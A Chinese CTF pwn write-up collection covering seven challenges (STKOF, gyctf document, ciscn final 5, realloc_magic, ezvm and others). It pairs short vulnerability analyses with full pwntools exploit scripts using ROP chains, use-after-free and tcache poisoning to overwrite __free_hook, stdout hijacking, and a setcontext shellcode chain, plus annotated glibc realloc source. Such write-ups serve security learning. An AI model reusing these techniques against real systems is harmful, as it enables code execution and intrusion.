BUUCTF-pwn(16)
强网杯2019 拟态 STKOF
本题目两个二进制文件,64位与32位
该题目加入了拟态的检查机制,题目会fork32位程序和64位程序,而我们的输入会分别传入这个两个进程,每个程序一份,然后题目会检测两个程序的输出,若两个程序的输出不一致或任一程序或者异常退出,则会被判断为check down,直接断开链接。只有两个程序的输入一致时,才能通过检查
本题难度经过合理拆分难度不大,首先本地通过64位、32位脚本,然后利用0x8字节差距,使用32位add esp,0x7c;pop;ret来进行错误,并输入\x00进行截断。
from pwn import *
context(log_level='debug',os='linux')
binary32 = './pwn'
binary64 = './pwn2'
r = remote('node4.buuoj.cn',27540)
#r = process(binary32)
elf32 = ELF(binary32)
elf64 = ELF(binary64)
# 32
'''bss_addr = 0x080DA320
read_addr = elf32.symbols['read']
int80 = 0x080495a3
pop_ebx_esi_ebi_ret = 0x08049b19
pop_eax_edx_ebx_ret = 0x08055f54
pop_ecx_ebx_ret = 0x0806e9f2
payload = b'a'*0x110+p32(read_addr)+p32(pop_ebx_esi_ebi_ret)+p32(0)+p32(bss_addr)+p32(0x8)
payload += p32(pop_eax_edx_ebx_ret)+p32(0xb)+p32(0)+p32(0)+p32(pop_ecx_ebx_ret)+p32(0)+p32(bss_addr)+p32(int80)
#gdb.attach(r)
r.sendlineafter("try to pwn it?",payload)
r.send(b'/bin/sh\x00')'''
#
# 64
'''bss_addr = 0x00000000006A32E0
read_addr = elf64.symbols['read']
syscall = 0x00000000004011dc
pop_rdx_rsi_ret = 0x000000000043d9f9
pop_rdi_ret = 0x00000000004005f6
pop_rax_ret = 0x000000000043b97c
payload = b'a'*0x118+p64(pop_rdi_ret)+p64(0)+p64(pop_rdx_rsi_ret)+p64(0x8)+p64(bss_addr)+p64(read_addr)
payload += p64(pop_rdi_ret)+p64(bss_addr)+p64(pop_rdx_rsi_ret)+p64(0)*2+p64(pop_rax_ret)+p64(0x3b)+p64(syscall)#0x188
r.sendlineafter("try to pwn it?",payload)
r.send(b'/bin/sh\x00')'''
bss_addr64 = 0x00000000006A32E0
read_addr64 = elf64.symbols['read']
syscall = 0x00000000004011dc
pop_rdx_rsi_ret = 0x000000000043d9f9
pop_rdi_ret = 0x00000000004005f6
pop_rax_ret = 0x000000000043b97c
bss_addr32 = 0x080DA320
#
int80 = 0x080495a3
read_addr32 = elf32.symbols['read']
pop_ebx_esi_ebi_ret = 0x08049b19
pop_eax_edx_ebx_ret = 0x08055f54
pop_ecx_ebx_ret = 0x0806e9f2
payload = b'a'*0x110+p32(0x0804933F)+p32(0)+p64(pop_rdi_ret)+p64(0)+p64(pop_rdx_rsi_ret)+p64(0x8)+p64(bss_addr64)+p64(read_addr64)
payload += p64(pop_rdi_ret)+p64(bss_addr64)+p64(pop_rdx_rsi_ret)+p64(0)*2+p64(pop_rax_ret)+p64(0x3b)+p64(syscall)#0x188
payload = payload.ljust(0x190,b'b')+p32(0)*4+p32(read_addr32)+p32(pop_ebx_esi_ebi_ret)+p32(0)+p32(bss_addr32)+p32(0x8)
payload += p32(pop_eax_edx_ebx_ret)+p32(0xb)+p32(0)+p32(0)+p32(pop_ecx_ebx_ret)+p32(0)+p32(bss_addr32)+p32(int80)
r.sendlineafter("try to pwn it?",payload)
r.send(b'/bin/sh\x00')
r.interactive()
gyctf_2020_document
分析主要函数!
发现函数主要存在于Free函数中,存在UAF漏洞!而且Edit函数每个chunk只可使用一次!
通过UAF漏洞,可以释放掉unsorted bin范围内的chunk,然后使用Show函数打印出main_arena+88地址,进而获取了libc地址!
此时两次申请Allocate,并通过一定的构造通过index为0的chunk来修改这两次申请的progameChunk的指向位置,此时可以指向free_hook,修改为system,然后释放获取权限!
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './gyctf_2020_document'
r = remote('node4.buuoj.cn',26299)
#r = process(binary)
elf = ELF(binary)
#libc = ELF('/home/pwn/pwn/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
libc = ELF('./libc-2.23.so')
def Allocate(sex,payload):
r.sendlineafter("choice : \n",'1')
r.sendlineafter("input name\n",'/bin/sh\x00')
r.sendlineafter("input sex\n",str(sex))# W Y
r.sendlineafter("input information\n",payload)
def Show(index):
r.sendlineafter("choice : \n",'2')
r.sendlineafter("index : \n",str(index))
def Edit(index,sex,payload):
r.sendlineafter("choice : \n",'3')
r.sendlineafter("index : \n",str(index))
r.sendlineafter("sex?\n",str(sex))
r.sendlineafter("information\n",payload)
def Free(index):
r.sendlineafter("choice : \n",'4')
r.sendlineafter("index : \n",str(index))
Allocate('W',b'a'*0x70)#0
Allocate('W',b'b'*0x70)#1
Free(0)
Show(0)
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-88
libc_base = main_arena-0x10-libc.symbols['__malloc_hook']
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']
Allocate('W',b'c'*0x70)#2
Allocate('W',b'd'*0x70)#3
Edit(0,'W',b'e'*8+p64(0x21)+p64(free_hook-0x10)+p64(0x1)+b'e'*8+p64(0x51)+b'e'*0x40)
Edit(3,'W',p64(system)+b'f'*0x68)
success("main_arena -> "+hex(main_arena))
success("libc_base -> "+hex(libc_base))
#gdb.attach(r)
Free(1)
r.interactive()
ciscn_2019_final_5
分析主要函数!
主体函数逻辑较为简单,分别为申请、释放、修改,无打印函数,故我们需要修改free_got为puts_got来泄露出函数地址。
申请函数!
释放函数!
编辑函数!
主要漏洞为index为16与0的区别,16为0x10,0为0x0。实则都为0,但是16却增加了0x10,故此时可以造成堆块重叠,利用tcache的不检查来修改got表,从而泄露地址并修改got表为system函数获取权限!
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',os='linux',arch='amd64')
binary = './ciscn_final_5'
r = remote('node4.buuoj.cn',29578)
#r = process(binary)
elf = ELF(binary)
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
bss_note = 0x6020E0
def Allocate(index=0,size=0x18,payload=b'\n'):
r.sendlineafter("your choice: ",'1')
r.sendlineafter("index: ",str(index))
r.sendlineafter("size: ",str(size))
r.sendafter("content: ",payload)
r.recvuntil("0x")
return int(r.recv(3),16)
def Free(index):
r.sendlineafter("your choice: ",'2')
r.sendlineafter("index: ",str(index))
def Edit(index,payload):
r.sendlineafter("your choice: ",'3')
r.sendlineafter("index: ",str(index))
r.sendafter("content: ",payload)
Allocate(16,0x18,p64(0)+p64(0xb1))#0
Allocate(1,0x90)#1
Free(1)
Free(0)
Allocate(1,0xa0)#0
Edit(1,p64(0)+p64(0xa1)+p64(bss_note))#write bss_note
Allocate(2,0x90)#1
Allocate(3,0x90)#2
Edit(3,p64(free_got-8)+p64(atoi_got-7)+p64(atoi_got))
Edit(0,p64(puts_plt)*2)
Free(1)
setvbuf_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('setvbuf',setvbuf_addr)
licb_base = setvbuf_addr-libc.dump('setvbuf')
system = licb_base+libc.dump('system')
Edit(8,p64(system)*2)
success("libc_base -> "+hex(licb_base))
success(hex(bss_note))
#gdb.attach(r)
r.sendline(b'/bin/sh\x00')
r.interactive()
unbelievable_write(TQLCTF)
故思路为劫持tcache,然后达成任意地址写,从而修改free_got为main地址(需要注意,free_got与puts_got相邻,需要输入puts_plt,防止puts_got被破坏,而最后无法输入flag),此时再次利用任意地址写写入target,即可获取flag!
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './pwn'
r = remote('119.23.255.127',24918)
#r = process(binary)
elf = ELF(binary)
free_got = elf.got['free']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
target = 0x0404080
def Allocate(size=0x18,payload=b'njh'):
r.sendlineafter("> ",'1')
r.sendline(str(size))
r.sendline(payload)
def Free(index):
r.sendlineafter("> ",'2')
r.sendline(str(index))
def shell():
r.sendlineafter("> ",'3')
'''Allocate(0x18,b'aaaa')#1
Allocate(0x80,b'b'*0x10+p64(0)+p64(0x21))#2
Free(0x60)
Allocate(0x80,b'c'*0x18+p64(0x21)+p64(target))
Allocate(0x18,b'd')'''
Allocate(0x90)#0
Free(-0x290)
Allocate(0x280,p64(0)*2+p64(0x1)+p64(0)*21+p64(free_got))
Allocate(0x90,p64(main)+p64(0x401040))#修改free_got为main函数
Allocate(0x280,p64(0)*2+p64(0x1)+p64(0)*21+p64(target))
Allocate(0x90,b'/bin/sh\x00')
success(hex(target))
#gdb.attach(r,'b *0x40157b')
shell()
r.interactive()
roarctf_2019_realloc_magic
realloc(ptr,size);
- realloc() 对 ptr 指向的内存重新分配 size 大小的空间,size 可比原来的大或者小,还可以不变(如果你无聊的话)。
- 当 malloc()、calloc() 分配的内存空间不够用时,就可以用 realloc() 来调整已分配的内存。
- 如果== ptr 为 NULL,它的效果和 malloc() 相同==,即分配 size 字节的内存空间。
- 如果 size 的值为 0,那么 ptr 指向的内存空间就会被释放,但是由于没有开辟新的内存空间,所以会返回空指针;类似于调用 free()。
函数逻辑较为简单,但是发现没有输入函数,且全保护开启,故需要劫持_ IO _ 2 _ 1 _ stdout _进行泄露地址,此时便需要爆破一位地址,1/16的概率。
最主要逻辑为
申请3个大小不一chunk,chunk1、chunk2、chunk3;
依次Allocate(0)相当于Free,但是指针会返回0,故可以布局出三个chunk;
然后申请chunk2,Free()7次,填满tcache块,然后Allocate(),将会放入unsorted bin中,此时fd指针指向libc;
此时申请chunk1,再次申请Allocate(chunk1->size+chunk2->size),此时chunk1会于chunk2合并,修改chunk2的size域为小数,以及fd指针低2位爆破 _ IO _ 2 _ 1 _ stdout _ 地址;
然后Allocate(),会将chunk2放入设置好的size的tcache块中,此时再次申请chunk2将会申请到 _ IO _ 2 _ 1 _ stdout _地址
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',os='linux',arch='amd64')
binary = './roarctf_2019_realloc_magic'
#r = process(binary)
elf = ELF(binary)
def Allocate(size=0x18,payload=b'\n'):
r.sendlineafter(">> ",'1')
r.sendlineafter("Size?\n",str(size))
r.sendafter("Content?\n",payload)
def Free():
r.sendlineafter(">> ",'2')
def shell():
r.sendlineafter(">> ",'666')
def pwn():
Allocate(0x110)#2
Allocate(0x70)#1
Allocate(0x200)#3
Allocate(0)
Allocate(0x90)#将2申请
for i in range(7):
Free()#填充0x120tcache块
Allocate(0)#free 2,此时2为unsorted bin
Allocate(0x70)#申请1
Allocate(0x110,b'a'*0x70+p64(0)+p64(0x41)+b'\x60\xa7')#并与2进行合并
Allocate(0)
Allocate(0x90,b'\x60\xa7')#爆破_IO_2_1_stdout_底二位地址
Allocate(0)#Free 0x41
#gdb.attach(r)
Allocate(0x90,p64(0xfbad1887)+p64(0)*3+b'\x58')#申请到_IO_2_1_stdout_
io_jmap_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))#_IO_file_jumps
libc = LibcSearcher('_IO_file_jumps',io_jmap_addr)
libc_base = io_jmap_addr-libc.dump('_IO_file_jumps')
free_hook = libc_base+libc.dump('__free_hook')
system = libc_base+libc.dump('system')
success("_IO_file_jumps -> "+hex(io_jmap_addr))
shell()#清空ptr,如果使用Allocate(0)则会发生double free错误
Allocate(0x200)#3
Allocate(0x100)#4
Allocate(0)
Allocate(0x18)#5
Allocate(0)
Allocate(0xf0)#6
for i in range(7):
Free()
Allocate(0)#将6放入了unsorted bin中
Allocate(0x100)#4
Allocate(0x200,b'b'*0x100+p64(0)+p64(0xb0)+p64(free_hook-8))#修改6的size域及fd指针
Allocate(0)#释放0x200
Allocate(0xf0)#申请6
Allocate(0)#放入0xb0 tcache块中
Allocate(0xf0,b'/bin/sh\x00'+p64(system))#修改free_hook为system函数地址
Free()
#gdb.attach(r)]
r.interactive()
while True:
r = remote('node4.buuoj.cn',28020)
try:
pwn()
except:
pass
小知识realloc函数的实现
void *
__libc_realloc (void *oldmem, size_t bytes)
{
mstate ar_ptr;
INTERNAL_SIZE_T nb; /* 填充请求大小 */
void *newp; /* 返回块 */
void *(*hook) (void *, size_t, const void *) =
atomic_forced_read (__realloc_hook);
if (__builtin_expect (hook != NULL, 0))//检查是否存在__realloc_hook
return (*hook)(oldmem, bytes, RETURN_ADDRESS (0));
#if REALLOC_ZERO_BYTES_FREES
if (bytes == 0 && oldmem != NULL)//如果bytes为0且oldmem不为空则执行free函数
{
__libc_free (oldmem); return 0;
}
#endif
/* null的realloc应该与malloc相同 */
if (oldmem == 0)//如果oldmem为空,则执行malloc函数
return __libc_malloc (bytes);
/* 对应于oldmem的块 */
const mchunkptr oldp = mem2chunk (oldmem);
/* its size */
const INTERNAL_SIZE_T oldsize = chunksize (oldp);
if (chunk_is_mmapped (oldp))//判断是否由mmap分配
ar_ptr = NULL;
else
{
MAYBE_INIT_TCACHE ();
ar_ptr = arena_for_chunk (oldp);
}
/* 很少的安全检查不会影响性能:分配器
永远不要在地址空间的末尾绕来绕去。因此
我们可以排除此处可能出现的一些大小值
意外或是某个入侵者的“设计”。我们需要绕开
检查旧主竞技场上丢弃的假mmap块
因为新的malloc可能会提供额外的对齐. */
if ((__builtin_expect ((uintptr_t) oldp > (uintptr_t) -oldsize, 0)
|| __builtin_expect (misaligned_chunk (oldp), 0))
&& !DUMPED_MAIN_ARENA_CHUNK (oldp))//进行原子检查,官方为分支预测优化,为假可能性较大
malloc_printerr ("realloc(): invalid pointer");
checked_request2size (bytes, nb);//判断申请大小是否溢出,没有溢出的情况下sz记录实际分配的大小
if (chunk_is_mmapped (oldp))
{
/* 如果这是一块从主竞技场卸下的假MMAP块,
始终复制(不要释放旧块). */
if (DUMPED_MAIN_ARENA_CHUNK (oldp))
{
/* Must alloc, copy, free. */
void *newmem = __libc_malloc (bytes);//执行malloc函数
if (newmem == 0)
return NULL;
/* 从旧块中复制尽可能多的字节
并适合新尺寸。注:冒牌货的开销
mmapped chunks只是SIZE_SZ,而不是2*SIZE_SZ
规则映射块. */
if (bytes > oldsize - SIZE_SZ)
bytes = oldsize - SIZE_SZ;
memcpy (newmem, oldmem, bytes);
return newmem;
}
void *newmem;
#if HAVE_MREMAP
newp = mremap_chunk (oldp, nb);
if (newp)
return chunk2mem (newp);
#endif
/* 注意额外的SIZE_SZ开销. */
if (oldsize - SIZE_SZ >= nb)
return oldmem; /* do nothing */
/* Must alloc, copy, free. */
newmem = __libc_malloc (bytes);//执行malloc函数
if (newmem == 0)
return 0; /* propagate failure */
memcpy (newmem, oldmem, oldsize - 2 * SIZE_SZ);//进行拷贝
munmap_chunk (oldp);
return newmem;//返回chunk
}
if (SINGLE_THREAD_P)
{
newp = _int_realloc (ar_ptr, oldp, oldsize, nb);
assert (!newp || chunk_is_mmapped (mem2chunk (newp)) ||
ar_ptr == arena_for_chunk (mem2chunk (newp)));
return newp;
}
__libc_lock_lock (ar_ptr->mutex);
newp = _int_realloc (ar_ptr, oldp, oldsize, nb);//进入_int_realloc具体实现函数
__libc_lock_unlock (ar_ptr->mutex);
assert (!newp || chunk_is_mmapped (mem2chunk (newp)) ||
ar_ptr == arena_for_chunk (mem2chunk (newp)));
if (newp == NULL)
{
/* 努力在其他领域分配内存. */
LIBC_PROBE (memory_realloc_retry, 2, bytes, oldmem);
newp = __libc_malloc (bytes);//利用malloc函数申请堆块
if (newp != NULL)
{
memcpy (newp, oldmem, oldsize - SIZE_SZ);//进行拷贝数据
_int_free (ar_ptr, oldp, 0);//释放掉原先的堆块
}
}
return newp;//返回新堆块
}
int_realloc函数具体实现
void*
_int_realloc(mstate av, mchunkptr oldp, INTERNAL_SIZE_T oldsize,
INTERNAL_SIZE_T nb)
{
mchunkptr newp; /* 返回块 */
INTERNAL_SIZE_T newsize; /* its size */
void* newmem; /* 对应的用户mem */
mchunkptr next; /* oldp之后的下一个连续块 */
mchunkptr remainder; /* newp末尾的额外空间 */
unsigned long remainder_size; /* its size */
mchunkptr bck; /* 链接的杂项温度 */
mchunkptr fwd; /* misc temp for linking */
unsigned long copysize; /* 要复制的字节数 */
unsigned int ncopies; /* INTERNAL_SIZE_T words to copy */
INTERNAL_SIZE_T* s; /* 复制源 */
INTERNAL_SIZE_T* d; /* 复制目的地 */
/* oldmem size */
if (__builtin_expect (chunksize_nomask (oldp) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (oldsize >= av->system_mem, 0))
malloc_printerr ("realloc(): invalid old size");
check_inuse_chunk (av, oldp);
/* 所有来电者都已经过滤掉了mmap的区块. */
assert (!chunk_is_mmapped (oldp));
next = chunk_at_offset (oldp, oldsize);
INTERNAL_SIZE_T nextsize = chunksize (next);
if (__builtin_expect (chunksize_nomask (next) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("realloc(): invalid next size");
if ((unsigned long) (oldsize) >= (unsigned long) (nb))
{
/* 已经够大了;下面分开 */
newp = oldp;
newsize = oldsize;
}
else
{
/* 试着向前扩展到顶部 */
if (next == av->top &&
(unsigned long) (newsize = oldsize + nextsize) >=
(unsigned long) (nb + MINSIZE))
{
set_head_size (oldp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
av->top = chunk_at_offset (oldp, nb);
set_head (av->top, (newsize - nb) | PREV_INUSE);
check_inuse_chunk (av, oldp);
return chunk2mem (oldp);
}
/* 试着向前扩展到下一块;将下面的剩余部分分开 */
else if (next != av->top &&
!inuse (next) &&
(unsigned long) (newsize = oldsize + nextsize) >=
(unsigned long) (nb))//判断下一堆块使用标记位不为1,且不为top_chunk,总大小大于新申请大小
{
newp = oldp;
unlink (av, next, bck, fwd);//进行合并
}
/* allocate, copy, free */
else
{
newmem = _int_malloc (av, nb - MALLOC_ALIGN_MASK);//指向malloc申请函数
if (newmem == 0)
return 0; /* propagate failure */
newp = mem2chunk (newmem);
newsize = chunksize (newp);
/*
如果newp是oldp之后的下一个块,请避免复制.
*/
if (newp == next)
{
newsize += oldsize;
newp = oldp;
}
else
{
/*
展开小于等于36字节的副本(如果大小为8字节,则为72字节)
我们知道内容有奇数个
内部大小的单词;最少3个.
*/
copysize = oldsize - SIZE_SZ;
s = (INTERNAL_SIZE_T *) (chunk2mem (oldp));
d = (INTERNAL_SIZE_T *) (newmem);
ncopies = copysize / sizeof (INTERNAL_SIZE_T);
assert (ncopies >= 3);
if (ncopies > 9)
memcpy (d, s, copysize);//进行拷贝
else
{
*(d + 0) = *(s + 0);
*(d + 1) = *(s + 1);
*(d + 2) = *(s + 2);
if (ncopies > 4)
{
*(d + 3) = *(s + 3);
*(d + 4) = *(s + 4);
if (ncopies > 6)
{
*(d + 5) = *(s + 5);
*(d + 6) = *(s + 6);
if (ncopies > 8)
{
*(d + 7) = *(s + 7);
*(d + 8) = *(s + 8);
}
}
}
}
_int_free (av, oldp, 1);
check_inuse_chunk (av, newp);
return chunk2mem (newp);
}
}
}
/* 如果可能,在旧块或扩展块中释放额外空间 */
assert ((unsigned long) (newsize) >= (unsigned long) (nb));
remainder_size = newsize - nb;
if (remainder_size < MINSIZE) /* 没有足够的额外费用分开 */
{
set_head_size (newp, newsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_inuse_bit_at_offset (newp, newsize);
}
else /* 分割余数 */
{
remainder = chunk_at_offset (newp, nb);
set_head_size (newp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
/* 将剩余部分标记为inuse,这样自由()就不会抱怨了 */
set_inuse_bit_at_offset (remainder, remainder_size);
_int_free (av, remainder, 1);//将切割块执行free函数
}
check_inuse_chunk (av, newp);
return chunk2mem (newp);
}
hgame2018_flag_server
逻辑较为简单!为整数安全!
from pwn import *
context(log_level='debug',os='linux',arch='i386')
binary = './flag_server'
r = remote('node4.buuoj.cn',25095)
#r = process(binary)
elf = ELF(binary)
r.sendlineafter('your username length: ','-1')
r.sendlineafter('whats your username?\n',b'a'*0x40+p32(1))
r.interactive()
ezvm(TQLCTF)
考点为shellcode编写、unicorn引擎
故我们需要判断回调函数,发现回调函数为基本的增删改查!
选择1:为修改Modify功能,采用了AllocateStruct->Modify函数来实现
选择2:Allocate申请函数,存入结构体中
选择3为Free
选择0:
此时可以发现读入选择为RAX寄存器,其syscall触发该回调函数。
sys_read 0、sys_write 1、sys_open 2、sys_close 3
官方wp
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
sh = process('./easyvm')
#sh = remote("127.0.0.1",8001)
#gdb.attach(sh)
program = '''
lea r12, [rip+0x7F9]
lea r13, [rip+0x8F2]
lea r14, [rip+0xBEB]
mov rdi, r12
mov rsi, 0x70
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x210
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
mov rdi, 4
call sys_close
mov rdi, 5
call sys_close
mov rdi, 6
call sys_close
mov rdi, 7
call sys_close
mov rdi, 8
call sys_close
mov rdi, 9
call sys_close
mov rdi, 9
inc rdi
call sys_close
mov rdi, 9
inc rdi
inc rdi
call sys_close
inc rdi
call sys_close
mov rdi, r12
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
add rdi, 4
mov rsi, 0x90
call sys_open
mov rdi, 9
inc rdi
inc rdi
mov rsi, r13
sub rsi, 0xC0
add rsi, 4
mov rdx, 0x8
call sys_read
mov r11, rsi
mov rcx, qword ptr[r11]
sub rcx, 0x1ec0d0
//libc_base
add rcx, 0x1EEB28
//__free_hook
mov r10, rcx
//r10 - freehook
lea rbx, [r13]
mov qword ptr[rbx],r10
add rbx, 8
add r10, 0x90
mov qword ptr[rbx],r10
add rbx, 8
add r10, 0x90
mov qword ptr[rbx],r10
add rbx, 8
add r10, 0x90
mov qword ptr[rbx],r10
sub rcx, 0x1EEB28
add rcx, 0x0000000000154930
lea rbx, [r14]
//rdx_gadget
mov qword ptr[rbx],rcx
add rbx, 8
sub rcx, 0x0000000000154930
add rcx, 0x1EEB28
add rcx, 0x10
mov qword ptr[rbx],rcx
add rbx, 0x28
sub rcx, 0x10
sub rcx, 0x1EEB28
add rcx, 0x580a0
add rcx, 61
mov qword ptr[rbx],rcx
//setcontext
add rbx, 0x80
sub rcx, 0x580a0
sub rcx, 61
add rcx, 0x1EEB28
add rcx, 0x148
mov qword ptr[rbx],rcx
add rbx, 0x8
sub rcx, 0x1EEB28
sub rcx, 0x148
add rcx, 0x0000000000025679
mov qword ptr[rbx],rcx
add rbx, 0x10
sub rcx, 0x0000000000025679
mov rdx, 51
mov qword ptr[rbx],rdx
add rbx, 0x38
mov rdx, 0x67616c662f2e
//./flag
mov qword ptr[rbx],rdx
add rbx, 0x48
add rcx, 0x0000000000026b72
// rdi
mov qword ptr[rbx],rcx
add rbx, 8
sub rcx, 0x0000000000026b72
add rcx, 0x1EEB28
add rcx, 0x100
mov qword ptr[rbx],rcx
add rbx, 8
sub rcx, 0x1EEB28
sub rcx, 0x100
add rcx, 0x0000000000027529
// rsi
mov qword ptr[rbx],rcx
add rbx, 8
mov rdx, 0
mov qword ptr[rbx],rdx
add rbx, 8
sub rcx, 0x0000000000027529
add rcx, 0x000000000004a550
// rax
mov qword ptr[rbx],rcx
add rbx, 8
mov rdx, 2
mov qword ptr[rbx],rdx
add rbx, 8
sub rcx, 0x000000000004a550
add rcx, 0x0000000000066229
mov qword ptr[rbx],rcx
add rbx, 8
sub rcx, 0x0000000000066229
add rcx, 0x0000000000026b72
// rdi
mov qword ptr[rbx],rcx
add rbx, 8
mov rdx, 3
mov qword ptr[rbx],rdx
add rbx, 8
sub rcx, 0x0000000000026b72
add rcx, 0x0000000000027529
mov qword ptr[rbx],rcx
// rsi
add rbx, 8
sub rcx, 0x0000000000027529
add rcx, 0x1EEB28
add rcx, 0x1000
mov qword ptr[rbx],rcx
add rbx, 8
sub rcx, 0x1EEB28
sub rcx, 0x1000
add rcx, 0x000000000011c371
mov qword ptr[rbx],rcx
//rdx
add rbx, 0x8
mov rdx, 0x40
mov qword ptr[rbx],rdx
add rbx, 0x10
sub rcx, 0x000000000011c371
add rcx, 0x206320
//read
mov qword ptr[rbx],rcx
add rbx, 0x8
sub rcx, 0x206320
add rcx, 0x0000000000026b72
mov qword ptr[rbx],rcx
//rdi
add rbx, 0x8
mov rdx, 1
mov qword ptr[rbx],rdx
add rbx, 0x8
sub rcx, 0x0000000000026b72
add rcx, 0x0000000000027529
mov qword ptr[rbx],rcx
// rsi
add rbx, 0x8
sub rcx, 0x0000000000027529
add rcx, 0x1EEB28
add rcx, 0x1000
mov qword ptr[rbx],rcx
add rbx, 0x8
sub rcx, 0x1EEB28
sub rcx, 0x1000
add rcx, 0x000000000011c371
mov qword ptr[rbx],rcx
//rdx
add rbx, 0x8
mov rdx, 0x40
mov qword ptr[rbx],rdx
add rbx, 0x10
sub rcx, 0x000000000011c371
add rcx, 0x206280
mov qword ptr[rbx],rcx
mov rdi, r13
sub rdi, 0xd0
mov rsi, 0x210
call sys_open
//12
mov rdi, 0x7
call sys_close
mov rdi, 0x6
call sys_close
mov rdi, 12
lea rsi, [r13+8]
mov rdx, 0x8
call sys_write
mov rdi, r13
mov rsi, 0x90
call sys_open
add rdi, 0x8
mov rsi, 0x90
call sys_open
mov rdi, 0x7
lea rsi, [r14+0x90]
mov rdx, 0x90
call sys_write
mov rdi, 0x3
call sys_close
mov rdi, 0x6
call sys_close
mov rdi, 12
lea rsi, [r13+16]
mov rdx, 0x8
call sys_write
lea rdi, [r12]
mov rsi, 0x90
call sys_open
lea rdi, [r12+12]
mov rsi, 0x90
call sys_open
mov rdi, 0x6
lea rsi, [r14+0x90+0x90]
mov rdx, 0x90
call sys_write
mov rdi, 0x4
call sys_close
mov rdi, 0x3
call sys_close
mov rdi, 12
lea rsi, [r13+24]
mov rdx, 0x8
call sys_write
lea rdi, [r12]
mov rsi, 0x90
call sys_open
lea rdi, [r12+4]
mov rsi, 0x90
call sys_open
mov rdi, 0x4
lea rsi, [r14+0x90+0x90+0x90]
mov rdx, 0x90
call sys_write
mov rdi, 0x5
call sys_close
mov rdi, 0x3
call sys_close
mov rdi, 12
lea rsi, [r13]
mov rdx, 0x8
call sys_write
lea rdi, [r12]
mov rsi, 0x90
call sys_open
lea rdi, [r12+8]
mov rsi, 0x90
call sys_open
mov rdi, 0x5
lea rsi, [r14]
mov rdx, 0x90
call sys_write
call terminate
sys_read:
mov rax, 0
syscall
ret
sys_write:
mov rax, 1
syscall
ret
sys_open:
mov rax, 2
syscall
ret
sys_close:
mov rax, 3
syscall
ret
terminate:
hlt
'''
data =b'./f\x00./a\x00./b\x00./c\x00./d\x00./e\x00./g\x00./j\x00./i\x00./l\x00./n\x00./m\x00./aaaaaaaaaaaaaaaaaaaaaa'.ljust(0x100, b'\x00')
data+=(b'/bin/sh\x00./u\x00./v\x00').ljust(0x300, b'\x00') + b'\x00' * 0x900
sh.sendlineafter(b'code:\n', asm(program).ljust(0x800, b'\x90')+data.ljust(0x800, b'\x00'))
sh.interactive()